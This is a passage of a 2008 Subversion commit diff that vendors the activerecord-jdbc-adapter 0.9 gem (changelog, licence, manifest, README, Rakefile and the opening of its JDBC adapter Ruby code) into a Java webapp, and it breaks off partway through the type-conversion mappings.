+- Plain "jdbc" driver is still available if you want to use the full
+  driver/url way of specifying the driver.
+- More bugfixes to Oracle and SQLServer courtesy of Ola & ThoughtWorks
+
+== 0.5
+
+- Release coincides with JRuby 1.0.1 release
+- It is no longer necessary to specify :driver and :url configuration
+  parameters for the mysql, postgresql, oracle, derby, hsqldb, and h2
+  adapters. The previous configuration is still valid and compatible, but for
+  new applications, this makes it possible to use the exact same database.yml
+  configuration as Rails applications running under native Ruby.
+- JDBC drivers can now be dynamically loaded by Ruby code, without being on
+  the classpath prior to launching JRuby. Simply use "require
+  'jdbc-driver.jar'" in JRuby code to add it to the runtime classpath.
+- Updates to HSQL, MS SQLServer, Postgres, Oracle and Derby adapters
+
+== 0.4
+
+- Release coincides with JRuby 1.0 release
+- Shoring up PostgreSQL (courtesy Dudley Flanders) and HSQL (courtesy Matthew
+  Williams)
+- Fix timestamps on Oracle to use DATE (as everything else)
+- Derby fixes: Fix for open result set issue, better structure dump, quoting,
+  column type changing
+- Sybase type recognition fix (courtesy Dean Mao)
+
+== 0.3.1
+
+- Derby critical fixes shortly after 0.3
+
+== 0.3
+
+- Release coincides with JRuby 1.0.0RC1 release
+- Improvements for Derby, Postgres, and Oracle, all of which are running 
+  > 95% of AR tests
+
+== 0.2.4
+
+- Release coincides with JRuby 0.9.9 release
+- JRuby 0.9.9 is required
+- MySQL close to 100% working
+- Derby improvements
+- DECIMAL/NUMERIC/FLOAT/REAL bugs fixed with type recognition for Oracle,
+  Postgres, etc.
+- HSQLDB has regressed this release and may not be functioning; we'll get it
+  fixed for the next one
+
+== 0.2.3
+
+- Release coincides (and compatible) with JRuby 0.9.8 release
+- 8 bugs fixed: see http://rubyurl.com/0Da
+- Improvements and compatibility fixes for Rails 1.2.x
+
+== 0.2.1, 0.2.2
+
+- Early releases, added better support for multiple databases
+
+== 0.0.1
+
+- Initial, very alpha release

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/LICENSE.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/LICENSE.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/LICENSE.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+Copyright (c) 2006-2008 Nick Sieger <nick at nicksieger.com>
+Copyright (c) 2006-2008 Ola Bini <ola.bini at gmail.com>
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/Manifest.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/Manifest.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/Manifest.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,93 @@
+History.txt
+Manifest.txt
+README.txt
+Rakefile
+LICENSE.txt
+lib/active_record/connection_adapters/cachedb_adapter.rb
+lib/active_record/connection_adapters/derby_adapter.rb
+lib/active_record/connection_adapters/h2_adapter.rb
+lib/active_record/connection_adapters/hsqldb_adapter.rb
+lib/active_record/connection_adapters/informix_adapter.rb
+lib/active_record/connection_adapters/jdbc_adapter.rb
+lib/active_record/connection_adapters/jdbc_adapter_spec.rb
+lib/active_record/connection_adapters/jndi_adapter.rb
+lib/active_record/connection_adapters/mysql_adapter.rb
+lib/active_record/connection_adapters/oracle_adapter.rb
+lib/active_record/connection_adapters/postgresql_adapter.rb
+lib/active_record/connection_adapters/sqlite3_adapter.rb
+lib/jdbc_adapter/jdbc_cachedb.rb
+lib/jdbc_adapter/jdbc_db2.rb
+lib/jdbc_adapter/jdbc_derby.rb
+lib/jdbc_adapter/jdbc_firebird.rb
+lib/jdbc_adapter/jdbc_hsqldb.rb
+lib/jdbc_adapter/jdbc_informix.rb
+lib/jdbc_adapter/jdbc_mimer.rb
+lib/jdbc_adapter/jdbc_mssql.rb
+lib/jdbc_adapter/jdbc_mysql.rb
+lib/jdbc_adapter/jdbc_oracle.rb
+lib/jdbc_adapter/jdbc_postgre.rb
+lib/jdbc_adapter/jdbc_sqlite3.rb
+lib/jdbc_adapter/jdbc_sybase.rb
+lib/jdbc_adapter/missing_functionality_helper.rb
+lib/jdbc_adapter/rake_tasks.rb
+lib/jdbc_adapter/tsql_helper.rb
+lib/jdbc_adapter/version.rb
+lib/jdbc_adapter.rb
+lib/jdbc_adapter/jdbc_adapter_internal.jar
+test/activerecord/connection_adapters/type_conversion_test.rb
+test/activerecord/connections/native_jdbc_mysql/connection.rb
+test/cachedb_simple_test.rb
+test/db/cachedb.rb
+test/db/db2.rb
+test/db/derby.rb
+test/db/h2.rb
+test/db/hsqldb.rb
+test/db/informix.rb
+test/db/jdbc.rb
+test/db/jndi_config.rb
+test/db/logger.rb
+test/db/mssql.rb
+test/db/mysql.rb
+test/db/oracle.rb
+test/db/postgres.rb
+test/db/sqlite3.rb
+test/db2_simple_test.rb
+test/derby_multibyte_test.rb
+test/derby_simple_test.rb
+test/generic_jdbc_connection_test.rb
+test/h2_simple_test.rb
+test/has_many_through.rb
+test/hsqldb_simple_test.rb
+test/informix_simple_test.rb
+test/jdbc_adapter/jdbc_db2_test.rb
+test/jdbc_adapter/jdbc_sybase_test.rb
+test/jdbc_common.rb
+test/jndi_callbacks_test.rb
+test/jndi_test.rb
+test/manualTestDatabase.rb
+test/minirunit/testConnect.rb
+test/minirunit/testH2.rb
+test/minirunit/testHsqldb.rb
+test/minirunit/testLoadActiveRecord.rb
+test/minirunit/testMysql.rb
+test/minirunit/testRawSelect.rb
+test/minirunit.rb
+test/models/add_not_null_column_to_table.rb
+test/models/auto_id.rb
+test/models/data_types.rb
+test/models/entry.rb
+test/models/reserved_word.rb
+test/mssql_simple_test.rb
+test/mysql_multibyte_test.rb
+test/mysql_simple_test.rb
+test/oracle_simple_test.rb
+test/postgres_reserved_test.rb
+test/postgres_simple_test.rb
+test/simple.rb
+test/sqlite3_simple_test.rb
+lib/jdbc_adapter/jdbc.rake
+src/java/jdbc_adapter/JdbcAdapterInternalService.java
+src/java/jdbc_adapter/JdbcConnectionFactory.java
+src/java/jdbc_adapter/JdbcDerbySpec.java
+src/java/jdbc_adapter/JdbcMySQLSpec.java
+src/java/jdbc_adapter/SQLBlock.java

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/README.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/README.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/README.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,148 @@
+activerecord-jdbc-adapter is a database adapter for Rails' ActiveRecord
+component that can be used with JRuby[http://www.jruby.org/]. It allows use of
+virtually any JDBC-compliant database with your JRuby on Rails application.
+
+== Databases
+
+What's there, and what is not there:
+
+* MySQL - Complete support
+* PostgreSQL - Complete support
+* Oracle - Complete support
+* Microsoft SQL Server - Complete support except for change_column_default
+* DB2 - Complete, except for the migrations:
+  * change_column 
+  * change_column_default
+  * remove_column
+  * rename_column
+  * add_index
+  * remove_index
+  * rename_table
+* FireBird - Complete, except for change_column_default and rename_column
+* Derby - Complete, except for:
+  * change_column
+  * change_column_default
+  * remove_column
+  * rename_column
+* HSQLDB - Complete
+* H2 - Complete
+* SQLite3 - work in progress
+* Informix - Fairly complete support, all tests pass and migrations appear to work.  Comments welcome.
+
+Other databases will require testing and likely a custom configuration module.
+Please join the jruby-extras
+mailing-list[http://rubyforge.org/mail/?group_id=2014] to help us discover
+support for more databases.
+
+== Using ActiveRecord JDBC
+
+=== Inside Rails
+
+To use activerecord-jdbc-adapter with JRuby on Rails:
+
+1. Choose the adapter you wish to gem install. The following pre-packaged
+   adapters are available:
+
+  * base jdbc (<tt>activerecord-jdbc-adapter</tt>). Supports all available databases via JDBC, but requires you to download and manually install the database vendor's JDBC driver .jar file.
+  * mysql (<tt>activerecord-jdbcmysql-adapter</tt>)
+  * postgresql (<tt>activerecord-jdbcpostgresql-adapter</tt>)
+  * derby (<tt>activerecord-jdbcderby-adapter</tt>)
+  * hsqldb (<tt>activerecord-jdbchsqldb-adapter</tt>)
+  * h2 (<tt>activerecord-jdbch2-adapter</tt>)
+
+2. If you're using Rails 2.0, you may skip to the next step. For Rails prior to
+   version 2.0, you'll need to add one-time setup to your config/environment.rb
+   file in your Rails application. Add the following lines just before the
+   <code>Rails::Initializer</code>. (If you're using activerecord-jdbc-adapter
+   under the old gem name used in versions 0.5 and earlier (ActiveRecord-JDBC),
+   replace 'activerecord-jdbc-adapter' with 'ActiveRecord-JDBC' below.)
+
+    if RUBY_PLATFORM =~ /java/
+      require 'rubygems'
+      gem 'activerecord-jdbc-adapter'
+      require 'jdbc_adapter'
+    end
+
+3. Configure your database.yml to use the <code>jdbc</code> adapter. For mysql,
+   postgres, derby, oracle, hsqldb, h2, and informix you can simply configure
+   the database in the normal Rails style. If you use one of the convenience
+   'activerecord-jdbcXXX-adapter' adapters, be sure and put a 'jdbc' prefix in
+   front of the databas adapter name as below.
+
+    development:
+      adapter: jdbcmysql
+      username: blog
+      password:
+      hostname: localhost
+      database: weblog_development
+
+For other databases, you'll need to know the database driver class and URL.
+Example:
+
+    development:
+      adapter: jdbc
+      username: blog
+      password:
+      driver: com.mysql.jdbc.Driver
+      url: jdbc:mysql://localhost:3306/weblog_development
+
+=== Standalone, with ActiveRecord
+
+1. Install the gem with JRuby:
+
+    jruby -S gem install activerecord-jdbc-adapter
+
+   If you wish to use the adapter for a specific database, you can install it
+   directly and a driver gem will be installed as well:
+
+    jruby -S gem install activerecord-jdbcderby-adapter
+
+2. If using ActiveRecord 2.0 (Rails 2.0) or greater, you can skip to the next
+   step. Otherwise, ensure the following code gets executed in your script:
+
+    require 'rubygems'
+    gem 'activerecord-jdbc-adapter'
+    require 'jdbc_adapter'
+    require 'active_record'
+
+3. After this you can establish a JDBC connection like this:
+
+    ActiveRecord::Base.establish_connection(
+      :adapter => 'jdbcderby',
+      :database => "db/my-database"
+    )
+
+   or like this (but requires that you manually put the driver jar on the classpath):
+
+    ActiveRecord::Base.establish_connection(
+      :adapter => 'jdbc',
+      :driver => 'org.apache.derby.jdbc.EmbeddedDriver',
+      :url => 'jdbc:derby:test_ar;create=true'
+    )
+
+== Getting the source
+
+The source for activerecord-jdbc-adapter is available using git.
+
+  git clone git://github.com/nicksieger/activerecord-jdbc-adapter.git
+
+== Running AR-JDBC's Tests
+
+Drivers for 4 open-source databases are included. Provided you have MySQL
+installed, you can simply type <tt>jruby -S rake</tt> to run the tests. A
+database named <tt>weblog_development</tt> is needed beforehand with a
+connection user of "blog" and password empty.
+
+== Authors
+
+This project was written by Nick Sieger <nick at nicksieger.com> and Ola Bini
+<olabini at gmail.com> with lots of help from the JRuby community.
+
+== License
+
+activerecord-jdbc-adapter is released under a BSD license. See the LICENSE file
+included with the distribution for details.
+
+Open-source driver gems for activerecord-jdbc-adapter are licensed under the
+same license the database's drivers are licensed. See each driver gem's
+LICENSE.txt file for details.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,179 @@
+require 'rake'
+require 'rake/testtask'
+
+task :default => [:java_compile, :test]
+
+def java_classpath_arg # myriad of ways to discover JRuby classpath
+  begin
+    cpath  = Java::java.lang.System.getProperty('java.class.path').split(File::PATH_SEPARATOR)
+    cpath += Java::java.lang.System.getProperty('sun.boot.class.path').split(File::PATH_SEPARATOR)
+    jruby_cpath = cpath.compact.join(File::PATH_SEPARATOR)
+  rescue => e
+  end
+  unless jruby_cpath
+    jruby_cpath = ENV['JRUBY_PARENT_CLASSPATH'] || ENV['JRUBY_HOME'] &&
+      FileList["#{ENV['JRUBY_HOME']}/lib/*.jar"].join(File::PATH_SEPARATOR)
+  end
+  jruby_cpath ? "-cp \"#{jruby_cpath}\"" : ""
+end
+
+desc "Compile the native Java code."
+task :java_compile do
+  pkg_classes = File.join(*%w(pkg classes))
+  jar_name = File.join(*%w(lib jdbc_adapter jdbc_adapter_internal.jar))
+  mkdir_p pkg_classes
+  sh "javac -target 1.5 -source 1.5 -d pkg/classes #{java_classpath_arg} #{FileList['src/java/**/*.java'].join(' ')}"
+  sh "jar cf #{jar_name} -C #{pkg_classes} ."
+end
+file "lib/jdbc_adapter/jdbc_adapter_internal.jar" => :java_compile
+
+task :filelist do
+  puts FileList['pkg/**/*'].inspect
+end
+
+if RUBY_PLATFORM =~ /java/
+  # TODO: add more databases into the standard tests here.
+  task :test => [:test_mysql, :test_jdbc, :test_derby, :test_hsqldb, :test_h2, :test_sqlite3]
+else
+  task :test => [:test_mysql]
+end
+
+FileList['drivers/*'].each do |d|
+  next unless File.directory?(d)
+  driver = File.basename(d)
+  Rake::TestTask.new("test_#{driver}") do |t|
+    files = FileList["test/#{driver}*test.rb"]
+    if driver == "derby"
+      files << 'test/activerecord/connection_adapters/type_conversion_test.rb'
+    end
+    t.ruby_opts << "-rjdbc/#{driver}"
+    t.test_files = files
+    t.libs << "test" << "#{d}/lib"
+  end
+end
+
+Rake::TestTask.new(:test_jdbc) do |t|
+  t.test_files = FileList['test/generic_jdbc_connection_test.rb', 'test/jndi_callbacks_test.rb']
+  t.libs << 'test' << 'drivers/mysql/lib'
+end
+
+Rake::TestTask.new(:test_jndi) do |t|
+  t.test_files = FileList['test/jndi_test.rb']
+  t.libs << 'test' << 'drivers/derby/lib'
+end
+
+task :test_postgresql => [:test_postgres]
+task :test_pgsql => [:test_postgres]
+
+# Ensure oracle driver is on your classpath before launching rake
+Rake::TestTask.new(:test_oracle) do |t|
+  t.test_files = FileList['test/oracle_simple_test.rb']
+  t.libs << 'test'
+end
+
+# Ensure DB2 driver is on your classpath before launching rake
+Rake::TestTask.new(:test_db2) do |t|
+  t.test_files = FileList['test/db2_simple_test.rb']
+  t.libs << 'test'
+end
+
+# Ensure InterSystems CacheDB driver is on your classpath before launching rake
+Rake::TestTask.new(:test_cachedb) do | t |
+  t.test_files = FileList[ 'test/cachedb_simple_test.rb' ]
+  t.libs << 'test'
+end
+
+# Ensure that the jTDS driver in on your classpath before launching rake
+Rake::TestTask.new(:test_mssql) do | t |
+  t.test_files = FileList[ 'test/mssql_simple_test.rb' ]
+  t.libs << 'test'
+end
+
+# Ensure that the Informix driver is on your classpath before launching rake
+Rake::TestTask.new(:test_informix) do |t|
+  t.test_files = FileList[ 'test/informix_simple_test.rb' ]
+  t.libs << 'test'
+end
+
+# Tests for JDBC adapters that don't require a database.
+Rake::TestTask.new(:test_jdbc_adapters) do | t |
+  t.test_files = FileList[ 'test/jdbc_adapter/jdbc_sybase_test.rb' ]
+  t.libs << 'test'
+end
+
+MANIFEST = FileList["History.txt", "Manifest.txt", "README.txt", 
+  "Rakefile", "LICENSE.txt", "lib/**/*.rb", "lib/jdbc_adapter/jdbc_adapter_internal.jar", "test/**/*.rb",
+   "lib/**/*.rake", "src/**/*.java"]
+
+file "Manifest.txt" => :manifest
+task :manifest do
+  File.open("Manifest.txt", "w") {|f| MANIFEST.each {|n| f << "#{n}\n"} }
+end
+Rake::Task['manifest'].invoke # Always regen manifest, so Hoe has up-to-date list of files
+
+require File.dirname(__FILE__) + "/lib/jdbc_adapter/version"
+begin
+  require 'hoe'
+  Hoe.new("activerecord-jdbc-adapter", JdbcAdapter::Version::VERSION) do |p|
+    p.rubyforge_name = "jruby-extras"
+    p.url = "http://jruby-extras.rubyforge.org/activerecord-jdbc-adapter"
+    p.author = "Nick Sieger, Ola Bini and JRuby contributors"
+    p.email = "nick at nicksieger.com, ola.bini at gmail.com"
+    p.summary = "JDBC adapter for ActiveRecord, for use within JRuby on Rails."
+    p.changes = p.paragraphs_of('History.txt', 0..1).join("\n\n")
+    p.description = p.paragraphs_of('README.txt', 0...1).join("\n\n")
+  end.spec.dependencies.delete_if { |dep| dep.name == "hoe" }
+rescue LoadError
+  puts "You really need Hoe installed to be able to package this gem"
+rescue => e
+  puts "ignoring error while loading hoe: #{e.to_s}"
+end
+
+def rake(*args)
+  ruby "-S", "rake", *args
+end
+
+%w(test package install_gem release clean).each do |task|
+  desc "Run rake #{task} on all available adapters and drivers"
+  task "all:#{task}" => task
+end
+
+(Dir["drivers/*/Rakefile"] + Dir["adapters/*/Rakefile"]).each do |rakefile|
+  dir = File.dirname(rakefile)
+  prefix = dir.sub(%r{/}, ':')
+  tasks = %w(package install_gem debug_gem clean)
+  tasks << "test" if File.directory?(File.join(dir, "test"))
+  tasks.each do |task|
+    desc "Run rake #{task} on #{dir}"
+    task "#{prefix}:#{task}" do
+      Dir.chdir(dir) do
+        rake task
+      end
+    end
+    task "#{File.dirname(dir)}:#{task}" => "#{prefix}:#{task}"
+    task "all:#{task}" => "#{prefix}:#{task}"
+  end
+  desc "Run rake release on #{dir}"
+  task "#{prefix}:release" do
+    Dir.chdir(dir) do
+      version = nil
+      if dir =~ /adapters/
+        version = ENV['VERSION']
+      else
+        Dir["lib/**/*.rb"].each do |file|
+          version ||= File.open(file) {|f| f.read =~ /VERSION = "([^"]+)"/ && $1}
+        end
+      end
+      rake "release", "VERSION=#{version}"
+    end
+  end
+  # Only release adapters synchronously with main release. Drivers are versioned
+  # according to their JDBC driver versions.
+  if dir =~ /adapters/
+    task "adapters:release" => "#{prefix}:release"
+    task "all:release" => "#{prefix}:release"
+  end
+end
+
+require 'rake/clean'
+CLEAN.include 'derby*', 'test.db.*','test/reports', 'test.sqlite3','lib/**/*.jar','manifest.mf', '*.log'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/cachedb_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/cachedb_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/cachedb_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_record/connection_adapters/jdbc_adapter'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/derby_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/derby_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/derby_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+tried_gem = false
+begin
+  require "jdbc/derby"
+rescue LoadError
+  unless tried_gem
+    require 'rubygems'
+    gem "jdbc-derby"
+    tried_gem = true
+    retry
+  end
+  # trust that the derby jar is already present
+end
+require 'active_record/connection_adapters/jdbc_adapter'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/h2_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/h2_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/h2_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_record/connection_adapters/jdbc_adapter'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/hsqldb_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/hsqldb_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/hsqldb_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+tried_gem = false
+begin
+  require "jdbc/hsqldb"
+rescue LoadError
+  unless tried_gem
+    require 'rubygems'
+    gem "jdbc-hsqldb"
+    tried_gem = true
+    retry
+  end
+  # trust that the hsqldb jar is already present
+end
+require 'active_record/connection_adapters/jdbc_adapter'
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/informix_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/informix_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/informix_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'active_record/connection_adapters/jdbc_adapter'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jdbc_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jdbc_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters/jdbc_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,645 @@
+require 'active_record/connection_adapters/abstract_adapter'
+require 'java'
+require 'active_record/connection_adapters/jdbc_adapter_spec'
+require 'jdbc_adapter/jdbc_adapter_internal'
+require 'bigdecimal'
+
+begin
+  require 'jdbc_adapter/rake_tasks'
+rescue LoadError
+end if defined?(RAILS_ROOT)
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    module SchemaStatements
+      # The original implementation of this had a bug, which modifies native_database_types.
+      # This version allows us to cache that value.
+      def type_to_sql(type, limit = nil, precision = nil, scale = nil) #:nodoc:
+        native = native_database_types[type.to_s.downcase.to_sym]
+        column_type_sql = native.is_a?(Hash) ? native[:name] : native
+        if type == :decimal # ignore limit, use precison and scale
+          precision ||= native[:precision]
+          scale ||= native[:scale]
+          if precision
+            if scale
+              column_type_sql += "(#{precision},#{scale})"
+            else
+              column_type_sql += "(#{precision})"
+            end
+          else
+            raise ArgumentError, "Error adding decimal column: precision cannot be empty if scale if specified" if scale
+          end
+          column_type_sql
+        else
+          limit ||= native[:limit]
+          column_type_sql += "(#{limit})" if limit
+          column_type_sql
+        end
+      end
+    end
+  end
+end
+
+module JdbcSpec
+  module ActiveRecordExtensions
+    def jdbc_connection(config)
+      connection = ::ActiveRecord::ConnectionAdapters::JdbcConnection.new(config)
+      ::ActiveRecord::ConnectionAdapters::JdbcAdapter.new(connection, logger, config)
+    end
+    alias jndi_connection jdbc_connection
+
+    def embedded_driver(config)
+      config[:username] ||= "sa"
+      config[:password] ||= ""
+      jdbc_connection(config)
+    end
+  end
+end
+
+module ActiveRecord
+  class Base
+    extend JdbcSpec::ActiveRecordExtensions
+
+    alias :attributes_with_quotes_pre_oracle :attributes_with_quotes
+    def attributes_with_quotes(include_primary_key = true, *args) #:nodoc:
+      aq = attributes_with_quotes_pre_oracle(include_primary_key, *args)
+      if connection.class == ConnectionAdapters::JdbcAdapter && (connection.is_a?(JdbcSpec::Oracle) || connection.is_a?(JdbcSpec::Mimer))
+        aq[self.class.primary_key] = "?" if include_primary_key && aq[self.class.primary_key].nil?
+      end
+      aq
+    end
+  end
+
+  module ConnectionAdapters
+    module Java
+      Class = java.lang.Class
+      URL = java.net.URL
+      URLClassLoader = java.net.URLClassLoader
+    end
+
+    module Jdbc
+      Mutex = java.lang.Object.new
+      DriverManager = java.sql.DriverManager
+      Statement = java.sql.Statement
+      Types = java.sql.Types
+
+      # some symbolic constants for the benefit of the JDBC-based
+      # JdbcConnection#indexes method
+      module IndexMetaData
+        INDEX_NAME  = 6
+        NON_UNIQUE  = 4
+        TABLE_NAME  = 3
+        COLUMN_NAME = 9
+      end
+
+      module TableMetaData
+        TABLE_CAT   = 1
+        TABLE_SCHEM = 2
+        TABLE_NAME  = 3
+        TABLE_TYPE  = 4
+      end
+
+      module PrimaryKeyMetaData
+        COLUMN_NAME = 4
+      end
+
+    end
+
+    # I want to use JDBC's DatabaseMetaData#getTypeInfo to choose the best native types to
+    # use for ActiveRecord's Adapter#native_database_types in a database-independent way,
+    # but apparently a database driver can return multiple types for a given
+    # java.sql.Types constant.  So this type converter uses some heuristics to try to pick
+    # the best (most common) type to use.  It's not great, it would be better to just
+    # delegate to each database's existin AR adapter's native_database_types method, but I
+    # wanted to try to do this in a way that didn't pull in all the other adapters as
+    # dependencies.  Suggestions appreciated.
+    class JdbcTypeConverter
+      # The basic ActiveRecord types, mapped to an array of procs that are used to #select
+      # the best type.  The procs are used as selectors in order until there is only one
+      # type left.  If all the selectors are applied and there is still more than one
+      # type, an exception will be raised.
+      AR_TO_JDBC_TYPES = {
+        :string      => [ lambda {|r| Jdbc::Types::VARCHAR == r['data_type'].to_i},
+                          lambda {|r| r['type_name'] =~ /^varchar/i},
+                          lambda {|r| r['type_name'] =~ /^varchar$/i},
+                          lambda {|r| r['type_name'] =~ /varying/i}],
+        :text        => [ lambda {|r| [Jdbc::Types::LONGVARCHAR, Jdbc::Types::CLOB].include?(r['data_type'].to_i)},
+                          lambda {|r| r['type_name'] =~ /^text$/i},     # For Informix
+                          lambda {|r| r['type_name'] =~ /^(text|clob)$/i},
+                          lambda {|r| r['type_name'] =~ /^character large object$/i},
+                          lambda {|r| r['sql_data_type'] == 2005}],
+        :integer     => [ lambda {|r| Jdbc::Types::INTEGER == r['data_type'].to_i},
+                          lambda {|r| r['type_name'] =~ /^integer$/i},
+                          lambda {|r| r['type_name'] =~ /^int4$/i},
+                          lambda {|r| r['type_name'] =~ /^int$/i}],
+        :decimal     => [ lambda {|r| Jdbc::Types::DECIMAL == r['data_type'].to_i},
+                          lambda {|r| r['type_name'] =~ /^decimal$/i},
+                          lambda {|r| r['type_name'] =~ /^numeric$/i},
+                          lambda {|r| r['type_name'] =~ /^number$/i},
+                          lambda {|r| r['type_name'] =~ /^real$/i},
+                          lambda {|r| r['precision'] == '38'},
+                          lambda {|r| r['data_type'] == '2'}],
+        :float       => [ lambda {|r| [Jdbc::Types::FLOAT,Jdbc::Types::DOUBLE, Jdbc::Types::REAL].include?(r['data_type'].to_i)},
+                          lambda {|r| r['data_type'].to_i == Jdbc::Types::REAL}, #Prefer REAL to DOUBLE for Postgresql
+                          lambda {|r| r['type_name'] =~ /^float/i},
+                          lambda {|r| r['type_name'] =~ /^double$/i},
+                          lambda {|r| r['type_name'] =~ /^real$/i},
+                          lambda {|r| r['precision'] == '15'}],
+        :datetime    => [ lambda {|r| Jdbc::Types::TIMESTAMP == r['data_type'].to_i},
+                          lambda {|r| r['type_name'] =~ /^datetime$/i},
+                          lambda {|r| r['type_name'] =~ /^timestamp$/i},
+                          lambda {|r| r['type_name'] =~ /^date/i},
+                          lambda {|r| r['type_name'] =~ /^integer/i}],  #Num of milliseconds for SQLite3 JDBC Driver
+        :timestamp   => [ lambda {|r| Jdbc::Types::TIMESTAMP == r['data_type'].to_i},
+                          lambda {|r| r['type_name'] =~ /^timestamp$/i},
+                          lambda {|r| r['type_name'] =~ /^datetime/i},
+                          lambda {|r| r['type_name'] =~ /^date/i},
+                          lambda {|r| r['type_name'] =~ /^integer/i}],  #Num of milliseconds for SQLite3 JDBC Driver
+        :time        => [ lambda {|r| Jdbc::Types::TIME == r['data_type'].to_i},
+                          lambda {|r| r['type_name'] =~ /^time$/i},
+                          lambda {|r| r['type_name'] =~ /^datetime/i},  # For Informix
+                          lambda {|r| r['type_name'] =~ /^date/i},
+                          lambda {|r| r['type_name'] =~ /^integer/i}],  #Num of milliseconds for SQLite3 JDBC Driver
+        :date        => [ lambda {|r| Jdbc::Types::DATE == r['data_type'].to_i},
+                          lambda {|r| r['type_name'] =~ /^date$/i},
